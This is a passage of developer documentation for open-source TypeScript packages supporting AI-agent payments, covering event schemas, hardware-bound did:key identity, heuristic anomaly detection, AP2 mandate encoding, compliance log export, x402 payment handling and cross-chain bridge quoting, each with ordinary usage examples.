changedBy: 'user_operator_xyz',
direction: 'tighten', // 'tighten' | 'loosen' | 'lateral'
},
});
```
## Safe parsing
`parseAgentEvent` throws on invalid input. For a non-throwing path use
`AgentEventSchema.safeParse`:
```ts theme={null}
import { AgentEventSchema } from '@glideco/agent-events';
const result = AgentEventSchema.safeParse(untrustedPayload);
if (!result.success) {
console.error('invalid event', result.error.flatten());
} else {
// result.data is a narrowed AgentEvent
}
```
## Adding a new event type
1. Add the literal to `AGENT_EVENT_TYPES`.
2. Write a Zod schema for the payload.
3. Add a union member to `AgentEventSchema`.
4. Update the `activity_log` writer and any switch-exhaustive consumers.
New event types must go into unused positions — the literal strings are
stable v1 once published in the JSON Schema at `glide.co/schemas/agent-banking/v1/`.
## Reading list
* [AgentActivityEvent JSON Schema](https://glide.co/schemas/agent-banking/v1/agent-activity-event.json) —
the canonical v1 schema derived from this package.
* [`@glideco/anomaly`](/docs/oss/packages/anomaly) — emits `anomaly_detected`
events consumed by this taxonomy.
* [`@glideco/dsar`](/docs/oss/packages/dsar) — emits `dsar_redaction_applied`
and `dsar_tombstone_applied` events; same payload shape.
* [`@glideco/compliance-export`](/docs/oss/packages/compliance-export) —
reads `activity_log` rows typed against these schemas for export.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/agent-events)
# @glideco/agent-identity
Source: https://glide-9da73dea.mintlify.app/oss/packages/agent-identity
did:key P-256 derivation from Apple App Attest and Android Key Attestation certificates. Pure functions, no IO.
`did:key` derivation and verification for Glide agents. Extracts the verified
P-256 EC public key from an Apple App Attest `credCert` (or Android Key
Attestation certificate) and encodes it as the W3C `did:key` form that
downstream agent-payments protocols — AP2, ACP, x402 — expect.
Every function in this package is pure. No network calls, no Node-specific
side effects beyond `node:crypto` for PEM parsing (Node 18+, Bun, Deno).
## Install
```bash theme={null}
npm install @glideco/agent-identity
```
[npmjs.com/package/@glideco/agent-identity](https://www.npmjs.com/package/@glideco/agent-identity)
## Why hardware-bound keys?
Glide signs every grant with a per-grant `did:key` so external verifiers can
resolve the agent's public key without making a Glide API call. The key
material is bound to a hardware-attested credential — the `did:key` is
*cryptographically derived* from Apple App Attest's P-256 key, not
client-asserted.
The alternative — deriving the `did:key` from the `device_attestations.ed25519_pub`
column — is explicitly rejected. That column carries no hardware binding.
The P-256 key extracted by the App Attest verifier is bound by Apple's PKI
to the device's Secure Enclave; Android Key Attestation provides the same
guarantee via StrongBox. The `did:key` emitted here inherits both assurances.
## Wire format
`did:key` for a P-256 key is `did:key:z`.
| field | bytes |
| ---------- | ------------------------------------------------- |
| multibase | `z` (base58btc) |
| multicodec | `0x12 0x00` (varint of `0x1200`, P-256 secp256r1) |
| pubkey | 33 bytes SEC1 compressed |
SEC1 compressed format: byte `0x02` when Y is even, `0x03` when Y is odd,
followed by the 32-byte big-endian X coordinate.
## API surface
```ts theme={null}
import {
pemToCompressedP256, // PEM SPKI → SEC1 33-byte Uint8Array
compressedP256ToDidKey, // SEC1 33-byte → DidKey string
pemToDidKey, // convenience: PEM → DidKey in one step
parseDidKeyP256, // DidKey string → SEC1 33-byte Uint8Array
isValidDidKey, // shape check (no exception on failure)
P256_MULTICODEC, // Uint8Array([0x12, 0x00])
DID_KEY_PREFIX, // 'did:key:z'
} from '@glideco/agent-identity';
```
## Worked examples
**From an App Attest credCert (most common path)**
```ts theme={null}
import { pemToDidKey } from '@glideco/agent-identity';
// `credCertPem` is the PEM-encoded SPKI returned by the App Attest
// verifier after signature + nonce checks pass.
const did = pemToDidKey(credCertPem);
// → 'did:key:zDnaeYr8LMXDy6dP3bP7GrTiykU3zYoLWqNYFakXwpBdnU3m'
// Attach the did to the grant before signing.
await db.update(grants).set({ agentDid: did }).where(eq(grants.id, grantId));
```
**Round-trip: encode then decode**
```ts theme={null}
import { compressedP256ToDidKey, parseDidKeyP256 } from '@glideco/agent-identity';
// Encode a SEC1 33-byte pubkey you already have.
const did = compressedP256ToDidKey(compressed33Bytes);
// Later, a VC verifier decodes it back to verify a signature.
const pubkeyBytes = parseDidKeyP256(did);
// pubkeyBytes is the original 33-byte Uint8Array
```
**Guard clause in a Zod refinement**
```ts theme={null}
import { z } from 'zod';
import { isValidDidKey } from '@glideco/agent-identity';
const didKeySchema = z
.string()
.refine(isValidDidKey, { message: 'invalid P-256 did:key' });
```
## Error handling
All functions throw `Error` with a message that identifies the failure point:
`pemToCompressedP256` throws on non-P-256 curves or malformed PEM;
`compressedP256ToDidKey` throws on wrong-length or invalid SEC1 prefix;
`parseDidKeyP256` throws on wrong multicodec or bad base58btc. `isValidDidKey`
swallows these and returns `false` — use it at API boundaries where you want
a boolean gate rather than exception propagation.
## Reading list
* [W3C DID Core v1.0](https://www.w3.org/TR/did-core/)
* [did:key v0.7](https://w3c-ccg.github.io/did-method-key/)
* [Multicodec table](https://github.com/multiformats/multicodec/blob/master/table.csv)
* [Apple App Attest](https://developer.apple.com/documentation/devicecheck/establishing-your-app-s-integrity)
* [`@glideco/kya-vc`](/docs/oss/packages/kya-vc) — issues W3C VCs anchored to the `did:key` this package produces.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/agent-identity)
# @glideco/anomaly
Source: https://glide-9da73dea.mintlify.app/oss/packages/anomaly
Heuristic anomaly detector + storm suppression + Sentry sink. OSS reference impl. No classifier, no ML — every signal is explainable.
OSS reference implementation of the anomaly detector documented in the
Glide OSS plan §M4. Deterministic, explainable signals; no classifier,
no ML; every heuristic is a pure function over a facts snapshot the
operator passes in.
## Install
```bash theme={null}
npm install @glideco/anomaly
```
[npmjs.com/package/@glideco/anomaly](https://www.npmjs.com/package/@glideco/anomaly)
## Why no ML?
Per the OSS plan §"Critical architectural commitments":
> Anomaly signals are heuristics, not a classifier.
Signals are inputs to UI decision aids — the policy engine has the
only hard veto. Heuristics are explainable, version-controllable,
testable in isolation, and don't drift between training runs. ML is
the wrong tool for the "why did this fire" review surface.
## Built-in heuristics
| Heuristic | Default severity | What it catches |
| ------------------------------ | ------------------------------- | ------------------------------------ |
| `newRecipientHeuristic` | `notice` | First payment to a counterparty |
| `makeAmountDeviationHeuristic` | `warn` at 3×, `critical` at 10× | Amounts well above baseline median |
| `makeVelocityHeuristic` | `warn` at 2×, `critical` at 5× | Burst of tool calls |
| `allowlistBypassHeuristic` | `critical` | Attempt to pay outside the allowlist |
| `timeWindowHeuristic` | `warn` | Transactions outside business hours |
## Storm suppression
A burst of similar signals (e.g., 50 "new-recipient" events in 60
seconds during a payroll batch) should NOT fan out as 50 push
notifications. The suppressor returns at most `maxPerWindow` signals
per `(kind, agentId)` per `windowMs`; overflow signals are still
recorded — caller's choice what to do with them (typically routed to
an in-app aggregated feed).
```ts theme={null}
import { StormSuppressor } from '@glideco/anomaly';
const suppressor = new StormSuppressor({
maxPerWindow: 1,
windowMs: 60 * 60 * 1000, // 1 hour
});
const decision = suppressor.shouldPush(signal, agentId);
// → { pass: true } | { pass: false, reason: 'storm-suppressed', overflowCount: N }
```
## Sentry sink
Optional adapter that routes signals to Sentry as messages tagged with
severity + kind. The Sentry instance is operator-supplied so the
package doesn't take a hard dependency on `@sentry/nextjs` (any object
with `captureMessage()` works — `@sentry/node`, Glitchtip, custom shims).
```ts theme={null}
import * as Sentry from '@sentry/nextjs';
import { makeSentrySink } from '@glideco/anomaly';
const sink = makeSentrySink({ Sentry, project: 'glide-prod' });
for (const signal of signals) {
const decision = suppressor.shouldPush(signal, agentId);
if (decision.pass) {
sink.emit(signal, agentId);
} else {
appendToInAppFeed(signal); // overflow goes here
}
}
```
Severity mapping:
| Anomaly severity | Sentry level |
| ---------------- | ------------ |
| `info`, `notice` | `info` |
| `warn` | `warning` |
| `critical` | `error` |
Failures emitting to Sentry never bubble — the sink swallows them so a
Sentry outage can't break the calling pipeline.
## Adding your own heuristic
Heuristics are just `(ctx) => signals[]`. Wire one for your domain:
```ts theme={null}
import { Heuristic } from '@glideco/anomaly';
interface CrossBorderFacts {
recipientCountry: string;
agentHomeCountry: string;
}
export const crossBorderHeuristic: Heuristic = (ctx) => {
if (ctx.facts.recipientCountry === ctx.facts.agentHomeCountry) {
return [];
}
return [
{
kind: 'cross-border',
severity: 'notice',
message: `Payment to ${ctx.facts.recipientCountry} (agent home: ${ctx.facts.agentHomeCountry})`,
details: ctx.facts,
timestamp: ctx.now,
},
];
};
```
## Reading list
* [Money-safety contracts](/docs/oss/concepts/money-safety-contracts) —
the F-rules every money-touching path observes.
* [Receipt schema](/docs/oss/standards/receipt) — what gets logged
alongside each anomaly signal.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/anomaly)
# @glideco/ap2-adapter
Source: https://glide-9da73dea.mintlify.app/oss/packages/ap2-adapter
Wire-format encoder/decoder for Google AP2 (Agent Payments Protocol) v0.1-alpha. Projects Glide grants + policy envelopes onto AP2 Verifiable Digital Credentials.
Wire-format adapter between Glide's internal grant model and the Agent Payments
Protocol (AP2), a three-mandate Verifiable Digital Credential (VDC) framework
co-authored by Google with 60+ endorsing partners including AmEx, Mastercard,
PayPal, Adyen, Coinbase, and Shopify. The three mandate types are
IntentMandate (user authorizes agent), CartMandate (agent proposes a basket),
and PaymentMandate (user instructs settlement).
This package is a wire-format adapter, not a re-implementation of the AP2 spec.
When AP2 ships v0.2 or any breaking wire change, a new minor is published,
`AP2_SPEC_VERSION` is bumped in the same PR, and the round-trip property tests
are re-run. The `@glideco/schemas` `AgentPolicyEnvelope` (14-axis) is a strict
superset of what AP2 0.1 can express; axes that have no AP2 vocabulary are
preserved under the `glide:` extension namespace.
## Install
```bash theme={null}
npm install @glideco/ap2-adapter
```
[npmjs.com/package/@glideco/ap2-adapter](https://www.npmjs.com/package/@glideco/ap2-adapter)
## Why a thin encoder rather than a native AP2 library?
Glide's `agent_grants` + `AgentPolicyEnvelope` predates AP2 and covers
counterparty allowlists, velocity multipliers, per-tx step-up thresholds, and
MCC blocklists that AP2 0.1 has no vocabulary for. Rewriting around AP2
primitives would lose that expressiveness. Instead the encoder is deliberately
lossy at the AP2 layer: standard axes map 1:1, and extended axes flow into the
`glide:policyEnvelope` extension field. A vanilla AP2 verifier validates the
core mandate; a Glide verifier round-trips losslessly.
The decoders go the other direction: when a third-party agent (Google Sidekick,
an Adyen orchestrator) presents an inbound AP2 IntentMandate, `decodeIntentMandate`
parses and validates it. Proof verification is not performed here — that is the
caller's responsibility via `@glideco/kms-signer` or a generic JWS library.
## Spec version
Pinned to AP2 **`v0.1-alpha`** — exported as `AP2_SPEC_VERSION = '0.1-alpha'`.
The AP2 JSON-LD `@context` URL is
`https://agent-payments.googleapis.com/2025/v1/credentials.jsonld`. Using a
wrong context URL means every mandate term (`allowedMerchantCategories`,
`spendingLimit`, etc.) resolves to `undefined` in a JSON-LD verifier — the
credential becomes effectively unparseable.
## API surface
| Export | Description |
| ----------------------------- | ------------------------------------------------------------------------------------------ |
| `encodeIntentMandate(args)` | Project a Glide grant + policy onto AP2 IntentMandate VDC. Proof left empty; caller signs. |
| `encodeCartMandate(args)` | Build an AP2 CartMandate VDC from line items. Enforces uniform currency. |
| `encodePaymentMandate(args)` | Build an AP2 PaymentMandate VDC for a settled cart. |
| `decodeIntentMandate(input)` | Parse + Zod-validate an inbound AP2 IntentMandate. |
| `decodeCartMandate(input)` | Parse + Zod-validate an inbound AP2 CartMandate. |
| `decodePaymentMandate(input)` | Parse + Zod-validate an inbound AP2 PaymentMandate. |
| `validateMandateChain(args)` | Cross-check intent → cart → payment id references + expiry. |
| `AP2_SPEC_VERSION` | `'0.1-alpha'` — protocol version constant. |
## Encoding a Glide grant as an IntentMandate
```ts theme={null}
import { encodeIntentMandate } from '@glideco/ap2-adapter';
const mandate = encodeIntentMandate({
grant: verifiedGrantClaims, // JWT claims from the Glide grant
policy: agentPolicyEnvelope, // current 14-axis envelope
userDid: 'did:web:glide.co:users:usr_abc',
agentDid: 'did:key:z6Mk…',
issuerDid: 'did:web:glide.co', // optional — defaults to userDid
});
// mandate.proof is empty; sign with @glideco/kms-signer before transmitting
```
The encoder picks the tightest spending cap (per-charge beats per-day beats
lifetime) for AP2's single `spendingLimit` slot and stashes the full envelope
under `glide:policyEnvelope` for lossless round-trip on Glide verifiers.
## Encoding a cart + payment mandate
```ts theme={null}
import { encodeCartMandate, encodePaymentMandate } from '@glideco/ap2-adapter';
const cart = encodeCartMandate({
cartId: simulationId,
intentMandateId: mandate.id,
agentDid: 'did:key:z6Mk…',
merchantDid: 'did:web:merchant.example.com',
lineItems: [
{ description: 'API call batch', quantity: 500, amountCents: 1, currency: 'USD' },
],
validUntil: new Date(Date.now() + 5 * 60_000).toISOString(),
});
const payment = encodePaymentMandate({
paymentId: crypto.randomUUID(),
cartMandateId: cart.id,
intentMandateId: mandate.id,
payerDid: 'did:web:glide.co:users:usr_abc',
payeeDid: 'did:web:merchant.example.com',
amountCents: 500,
currency: 'USD',
method: { type: 'crypto-x402', token: '0xRecipientAddress', network: 'base' },
expirationDate: cart.expirationDate,
rail: 'x402',
});
```
## Validating an inbound mandate chain
```ts theme={null}
import {
decodeIntentMandate,
decodeCartMandate,
validateMandateChain,
} from '@glideco/ap2-adapter';
const intent = decodeIntentMandate(rawIntentPayload); // throws on schema violation
const cart = decodeCartMandate(rawCartPayload);
const result = validateMandateChain({ intent, cart });
if (!result.ok) {
throw new Error(`Mandate chain invalid: ${result.reason}`);
}
```
## Common pitfalls
**Currency case.** AP2 0.1 requires ISO 4217 uppercase. The schemas enforce this
via regex (`/^[A-Z]{3}$/`). Lowercase `'usd'` throws at parse time.
**Amount format.** All amount fields are decimal strings — no floats, no
thousand separators, no exponential notation. The regex is
`/^-?\d+(\.\d{1,4})?$/`. Passing a JavaScript `number` throws.
**Proof block.** All three encoders return a VDC with `proof` omitted. Do not
transmit the mandate without attaching a proof — receiving verifiers will reject
unsigned credentials.
## Reading list
* [ConnectorManifest standard](/docs/oss/standards/connector-manifest) — how
protocol capabilities are declared.
* [`@glideco/ucp-profile`](/docs/oss/packages/ucp-profile) — discovery layer
that references AP2 mandate acceptance.
* [`@glideco/acp-merchant`](/docs/oss/packages/acp-merchant) — commerce
protocol (ACP) that sits alongside AP2.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/ap2-adapter)
# @glideco/compliance-export
Source: https://glide-9da73dea.mintlify.app/oss/packages/compliance-export
Range validation, monthly sharding, envelope builder, S3 signed-URL refresh, and retention-tier storage adapters for agent activity-log exports.
Compliance export primitives for the Glide agent activity log. The package
covers four concerns that every compliant export pipeline shares: validating the
requested range against the OSS plan §M4 quota, splitting multi-year requests
into calendar-month shards (one DB row per shard), building the signed JSON
envelope that ships to the reviewer, and keeping S3 signed URLs from expiring
between the time a job enqueues and the time the operator's UI polls for it.
A fifth concern — retention lifecycle — is handled by three concrete S3 storage
adapters that share a `RetentionStorage` interface. The retention-sweep cron
picks a storage class per row based on its age tier without coupling to the
concrete S3 client.
The package is DB-agnostic and S3-client-agnostic. Operators wire their own
`@aws-sdk/client-s3` instance, storage bucket, and DB driver.
## Install
```bash theme={null}
npm install @glideco/compliance-export
```
[npmjs.com/package/@glideco/compliance-export](https://www.npmjs.com/package/@glideco/compliance-export)
## Why not bundle the S3 client?
Taking `@aws-sdk/client-s3` as a hard dependency would pin the major version and
add \~2 MB to every install even for operators who archive to GCS or Cloudflare
R2. The `S3SendableClient` and `S3CommandFactory` interfaces accept any object
whose `send()` method returns the expected shape — the AWS SDK satisfies them out
of the box; a GCS presigned-URL shim satisfies them with a thin adapter.
The same logic applies to the DB: export envelope rows live in `compliance_exports`
however the operator manages that table, and the package makes no assumption
about the ORM or driver.
## Range validation and monthly sharding
The OSS plan §M4 caps a single export at one year. `validateRange` enforces
this; `splitIntoMonthlyShards` produces one UTC calendar-month shard per month
in a longer range, each safe to pass as a single-shot export:
```ts theme={null}
import {
validateRange,
splitIntoMonthlyShards,
} from '@glideco/compliance-export';
import { parseISO } from 'date-fns';
const range = {
since: parseISO('2025-01-01T00:00:00Z'),
until: parseISO('2026-06-30T23:59:59Z'),
};
const v = validateRange(range);
if (v.ok) {
// Within one year — single-shot export.
await enqueueExport(range);
} else if (v.reason === 'exceeds-one-year') {
// Fragment into monthly shards (18 shards for the range above).
const shards = splitIntoMonthlyShards(range);
for (const shard of shards) {
await enqueueExport(shard);
}
return { fragmented: true, count: shards.length };
} else {
// v.reason === 'invalid-range' (since >= until) or other edge cases.
throw new Error(v.message);
}
```
The 10-exports-per-tenant-per-day quota is enforced at the tRPC router layer, not
here. `validateRange` only checks the temporal span.
## Building a JSON envelope
`buildEnvelope` assembles the signed JSON shape that ships in
`compliance.exportJson` (sync path) or inside the async PDF body. The envelope
carries the entity ID, display name, export range, and one row per activity-log
entry. Per-row fields include the on-chain tx hash (if any), risk verdict, policy
version, and `redactedFieldsBitmap` — the UI renders `[REDACTED]` for fields
whose bit is set:
```ts theme={null}
import { buildEnvelope } from '@glideco/compliance-export';
const envelope = buildEnvelope({
entityId: 'entity_gbl_0bdf3c',
entityName: 'Glide Operator Co',
range: {
since: new Date('2026-01-01T00:00:00Z'),
until: new Date('2026-01-31T23:59:59Z'),
},
rows: dbRows.map((r) => ({
id: r.id,
createdAt: r.createdAt,
action: r.action,
riskVerdict: r.riskVerdict,
vendorUsed: r.vendorUsed,
onChainTx: r.onChainTx,
policyVersion: r.policyVersion,
redactedFieldsBitmap: r.redactedFieldsBitmap,
})),
});
return Response.json(envelope);
```
Both `ComplianceExportRowSchema` and `ComplianceExportEnvelopeSchema` are
exported for callers that want to validate an envelope they received rather than
build one.
## Refreshing S3 signed URLs
Signed URLs expire. When the operator's admin UI polls a long-running export job,
the URL from the initial `PutObject` may already be stale. `refreshSignedUrl`
handles the cache-and-refresh pattern: it re-signs only when the cached URL is
absent or will expire within a configurable threshold (default: 5 minutes):
```ts theme={null}
import { GetObjectCommand, S3Client } from '@aws-sdk/client-s3';
import { getSignedUrl } from '@aws-sdk/s3-request-presigner';
import { refreshSignedUrl, type Signer } from '@glideco/compliance-export';
const s3 = new S3Client({ region: 'us-east-1' });
const signer: Signer = async ({ bucket, key, expiresInSeconds }) => {
const url = await getSignedUrl(
s3,
new GetObjectCommand({ Bucket: bucket, Key: key }),
{ expiresIn: expiresInSeconds },
);
return {
url,
expiresAt: new Date(Date.now() + expiresInSeconds * 1000),
};
};
// In the polling tRPC endpoint:
const fresh = await refreshSignedUrl({
signer,
bucket: process.env.S3_EXPORTS_BUCKET!,
key: row.s3Key,
current: row.cachedUrl
? { url: row.cachedUrl, expiresAt: row.cachedUrlExpiresAt }
: null,
});
await db
.update(complianceExports)
.set({ cachedUrl: fresh.url, cachedUrlExpiresAt: fresh.expiresAt })
.where(eq(complianceExports.id, row.id));
```
## Retention-tier storage adapters
Activity log rows age through four tiers: hot (0–7d, Postgres), warm (7–90d,
Postgres), cold (90–365d, S3), and regulatory (1–7y, S3 Deep Archive). The three
concrete adapters all implement `RetentionStorage` so the sweep cron can swap
storage class without changing the calling code:
```ts theme={null}
import {
S3StandardStorage,
S3GlacierInstantStorage,
S3GlacierDeepStorage,
} from '@glideco/compliance-export';
import {
S3Client,
PutObjectCommand,
GetObjectCommand,
} from '@aws-sdk/client-s3';
const s3 = new S3Client({ region: 'eu-west-1' });
const commands = {
put: (args) => new PutObjectCommand(args),
get: (args) => new GetObjectCommand(args),
};
// Cold tier — millisecond retrieval, lower cost than STANDARD.
const cold = new S3GlacierInstantStorage({
client: s3,
commands,
bucket: 'glide-activity-logs',
keyPrefix: 'tenants/entity_gbl_0bdf3c',
});
const archived = await cold.archive({
rowId: 'row_a1b2c3',
body: JSON.stringify(logRow),
metadata: { entityId: 'entity_gbl_0bdf3c', exportShardId: 'shard_2026_01' },
});
// archived = { key: 'tenants/entity_gbl_0bdf3c/cold/row_a1b2c3.json', bytes: 412, ... }
// Regulatory tier — minutes-to-hours retrieval; operator opts in per entity.
const regulatory = new S3GlacierDeepStorage({
client: s3,
commands,
bucket: 'glide-activity-logs-regulatory',
keyPrefix: 'tenants/entity_gbl_0bdf3c',
});
```
| Class | S3 tier | Retrieval latency | Recommended for |
| ------------------------- | -------------- | ----------------- | ---------------------------- |
| `S3StandardStorage` | `STANDARD` | milliseconds | Cold tier without Glacier |
| `S3GlacierInstantStorage` | `GLACIER_IR` | milliseconds | Cold tier default (OSS plan) |
| `S3GlacierDeepStorage` | `DEEP_ARCHIVE` | minutes–hours | Regulatory tier (1–7y) |
## Quotas summary
| Rule | Enforced by |
| ----------------------------- | ------------------------ |
| Max 10 exports per tenant/day | tRPC router layer |
| Max 1 year per export range | `validateRange` |
| Long-range fragmentation | `splitIntoMonthlyShards` |
## Reading list
* [`@glideco/agent-events`](/docs/oss/packages/agent-events) — the event-type
schemas that populate the rows this package exports.
* [`@glideco/dsar`](/docs/oss/packages/dsar) — sets `redactedFieldsBitmap`
on rows; the envelope builder surfaces those bits to the reviewer.
* [Receipt schema](https://glide.co/schemas/agent-banking/v1/receipt.json) —
the on-chain receipt shape referenced in `onChainTx` envelope fields.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/compliance-export)
# @repo/connectors-coinbase-x402
Source: https://glide-9da73dea.mintlify.app/oss/packages/connectors-coinbase-x402
x402 receiver helpers + Coinbase CDP facilitator client. Drives the verify+settle flow for any RFC-compatible facilitator. F1 IRON RULE: txHash is the facilitator's claim, not verified fact.
x402 payment protocol adapter with two surfaces. The receiver helpers build the
HTTP 402 challenge body, decode the `X-PAYMENT` request header, and drive the
full verify-then-settle flow against any RFC-compatible facilitator. The
facilitator client (`CoinbaseFacilitator`) talks to the Coinbase Developer
Platform's hosted x402 facilitator, or any self-hosted alternative that speaks
the same `/verify` + `/settle` JSON-RPC.
Per the OSS Cathedral plan §M2.5: every Glide account is x402-addressable by
default. This package is what makes that true. The matching MCP tools
(`x402.pay`, `x402.receive`) in `apps/mcp` consume this package's primitives.
**F1 IRON RULE:** `SettleResponse.transaction` (the facilitator's returned tx
hash) is the facilitator's claim, not an independently verified on-chain fact.
Operators MUST perform a server-side RPC verification before persisting the hash
to any audit row. This package exposes the facilitator's response verbatim and
leaves RPC verification to the consumer. The reference implementation is
`serverFetchChainTx` in the MCP `x402.pay` tool.
## Install
This package is workspace-internal (`@repo/connectors-coinbase-x402`). For
standalone use, publish it under `@glideco/connector-coinbase-x402` using the
connector publish script:
```bash theme={null}
node scripts/publish-glide-connector.mjs coinbase-x402
```
## Receiver flow (Next.js route handler)
The canonical pattern for exposing a Glide account as an x402 endpoint:
```ts theme={null}
// apps/web/src/app/api/x402/[accountId]/route.ts
import {
CoinbaseFacilitator,
buildChallengeBody,
handleX402Request,
type PaymentRequirements,
} from '@repo/connectors-coinbase-x402';
export async function POST(req: Request, { params }: { params: Promise<{ accountId: string }> }) {
const { accountId } = await params;
const requirements: PaymentRequirements = {
scheme: 'exact',
network: 'base',
maxAmountRequired: '1000000', // 1 USDC (6 decimals)
resource: req.url,
description: 'Pay to unlock resource',
mimeType: 'application/json',
payTo: process.env.X402_DEFAULT_RECEIVE_ADDRESS!,
maxTimeoutSeconds: 60,
asset: '0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913', // USDC on Base
};
const facilitator = new CoinbaseFacilitator({
bearerToken: process.env.CDP_API_KEY_SECRET,
});
const result = await handleX402Request({
xPaymentHeader: req.headers.get('x-payment'),
accepts: [requirements],
facilitator,
});
if (result.kind === 'challenge') {
return new Response(JSON.stringify(result.body), { status: 402 });
}
// F1: independently verify the on-chain tx before writing any audit row
await rpcVerify(result.settle.transaction, requirements);
return Response.json({ ok: true, tx: result.settle.transaction });
}
```
## ReceiverOutcome decision tree
`handleX402Request` returns a discriminated union:
```ts theme={null}
type ReceiverOutcome =
| {
kind: 'challenge';
body: X402ChallengeBody;
reason: 'no_header' | 'header_decode' | 'verify_failed' | 'settle_failed';
detail?: string;
}
| {
kind: 'settled';
settle: SettleResponse;
};
```
All failure cases return `kind: 'challenge'` with the appropriate `reason` and
a `detail` string for logging. The caller emits a 402 with `body` as the JSON
payload in all challenge cases.
## Building a challenge manually
If you need to issue a 402 without driving a full payment flow:
```ts theme={null}
import { buildChallengeBody, encodeXPaymentHeader } from '@repo/connectors-coinbase-x402';
// 402 response body
const challengeBody = buildChallengeBody({
accepts: [requirements],
error: 'Previous payment verification failed',
});
// Encode a PaymentPayload into the X-PAYMENT header (client side)
const xPaymentHeader = encodeXPaymentHeader({
x402Version: 1,
scheme: 'exact',
network: 'base',
payload: { signature: '0x…', authorization: { from, to, value, validAfter, validBefore, nonce } },
});
```
## Self-hosted facilitator
To run without a Coinbase dependency, point the client at any
RFC-compatible facilitator:
```bash theme={null}
X402_FACILITATOR_URL=https://my-facilitator.example.com
```
`CoinbaseFacilitator` calls the same `/verify` + `/settle` JSON-RPC contract
against that base URL. The Glide-compliant facilitator (with Chainalysis
screening) is in `@glideco/x402-facilitator`.
## Egress surface
Declared in the connector manifest (enforced by the egress-host CI gate):
| Host | Purpose |
| ---------------------- | ------------------------------------------- |
| `api.cdp.coinbase.com` | Coinbase Developer Platform auth + key APIs |
| `x402.coinbase.com` | Coinbase-hosted x402 facilitator |
| `facilitator.x402.io` | Fallback / community-hosted facilitator |
No other host is reachable at runtime. A CI gate on egress hosts enforces this.
## Supported networks
The `PaymentRequirements.network` field accepts the x402 network enum:
`base`, `base-sepolia`, `polygon`, `polygon-amoy`, `solana`, `solana-devnet`,
`avalanche`, `abstract`, `sei`, and several others. See
`PaymentRequirementsSchema` in `src/protocol.ts` for the full list.
For EVM networks the payload uses EIP-712 `transferWithAuthorization`; for
Solana the payload is a signed transaction blob. Both shapes are handled by the
same `decodeXPaymentHeader` parser.
## Reading list
* [Money-safety contracts](/docs/oss/concepts/money-safety-contracts) — F1
server-side RPC verification requirement.
* [`@glideco/x402-facilitator`](/docs/oss/packages/x402-facilitator) — the
Chainalysis-baked facilitator this connector can delegate to.
* [ConnectorManifest standard](/docs/oss/standards/connector-manifest) — how
the egress-host contract is declared.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/connectors/coinbase-x402)
# @glideco/crosschain-bridge
Source: https://glide-9da73dea.mintlify.app/oss/packages/crosschain-bridge
Quote + dispatch shape layer for Squid Router and Across Protocol. Bridge route classification, quote aggregation, glide-internal fast path.
Shape layer for cross-chain bridge operations: quote request/response types, bridge-route classification, and multi-quote aggregation. Adapts Squid Router (Axelar-backed, wide chain coverage) and Across Protocol (UMA optimistic-oracle, fastest for EVM-to-EVM pairs). Includes `glide-internal` — the same-tenant vault hop that is free and instant.
Pure functions, no IO. Actual SDK calls live in `apps/web`.
## Install
```bash theme={null}
npm install @glideco/crosschain-bridge
```
[npmjs.com/package/@glideco/crosschain-bridge](https://www.npmjs.com/package/@glideco/crosschain-bridge)
## Why two adapters
Across Protocol is cheaper and faster on the EVM-to-EVM common case. Squid covers the rest: EVM ↔ Solana, EVM ↔ Stellar, EVM ↔ Cosmos, and Solana ↔ Stellar. By classifying the chain pair first and only quoting the applicable adapter, the smart-router avoids sending a cross-chain quote to Across for a Base → Solana transfer where Across has no coverage.
`glide-internal` appears in the bridge ID set so the smart-router can include same-tenant vault hops in candidate scoring without special-casing. A same-chain pair resolves to `['glide-internal']` — no bridge call needed.
## Bridge route classification
```ts theme={null}
import { routeCandidates, isBridgeable } from '@glideco/crosschain-bridge';
routeCandidates('base', 'arb'); // ['across', 'squid'] — EVM↔EVM, Across preferred
routeCandidates('base', 'sol'); // ['squid'] — Squid only
routeCandidates('sol', 'stellar'); // ['squid'] — Squid only
routeCandidates('eth', 'eth'); // ['glide-internal'] — same-chain
isBridgeable('base', 'sol'); // true
isBridgeable('sol', 'tempo'); // false — tempo not in Squid's chain set
```
The Across-eligible chains are `eth`, `base`, `arb`, `op`, `polygon`. Squid additionally covers `sol`, `tempo`, `stellar`.
## Quoting
```ts theme={null}
import type { BridgeQuoteRequest } from '@glideco/crosschain-bridge';
const req: BridgeQuoteRequest = {
fromChain: 'base',
toChain: 'arb',
fromToken: 'USDC',
amountIn: '100000000', // 100 USDC in 6-decimal units
fromAddress: '0xSENDER',
toAddress: '0xRECIPIENT',
slippageBps: 50, // 0.5%
bridges: ['across'], // restrict to one adapter
};
// Quote the adapter in apps/web; the result shape is:
// {
// bridge: 'across',
// fromChain: 'base', toChain: 'arb',
// fromToken: 'USDC', toToken: 'USDC',
// amountIn: '100000000', amountOutMin: '99940000',
// bridgeFee: '60000',
// etaSeconds: 8,
// routePayload: { ... }, // opaque, passed to dispatch
// expiresAt: '2026-04-30T14:22:30Z',
// }
```
## Quote aggregation
```ts theme={null}
import { aggregateQuotes } from '@glideco/crosschain-bridge';
// Combine quotes from both adapters; pick the cheapest fresh one.
const { best, all, expired } = aggregateQuotes([squidQuote, acrossQuote]);
// best.bridge → 'across' (lower bridgeFee)
// expired → quotes past their expiresAt
```
`aggregateQuotes` sorts by `bridgeFee` ASC using `BigInt` comparison (avoids IEEE-754 precision loss on large token amounts), with `etaSeconds` as a tiebreaker. It throws when all quotes are stale — the caller must re-quote rather than dispatch a stale route payload.
## Dispatch
After picking a quote, wrap it in a `BridgeDispatchRequest` with the idempotency key and Glide audit fields before passing it to the adapter in `apps/web`:
```ts theme={null}
import type { BridgeDispatchRequest } from '@glideco/crosschain-bridge';
const dispatch: BridgeDispatchRequest = {
quote: best,
idempotencyKey: 'pay_2026_04_30_invoice_099',
grantId: 'd4e5f6a7-b8c9-0123-abcd-ef1234567890',
correlationId: 'mcp_audit_9a8b7c6d',
};
// apps/web routes to squid-sdk or across-sdk based on dispatch.quote.bridge
```
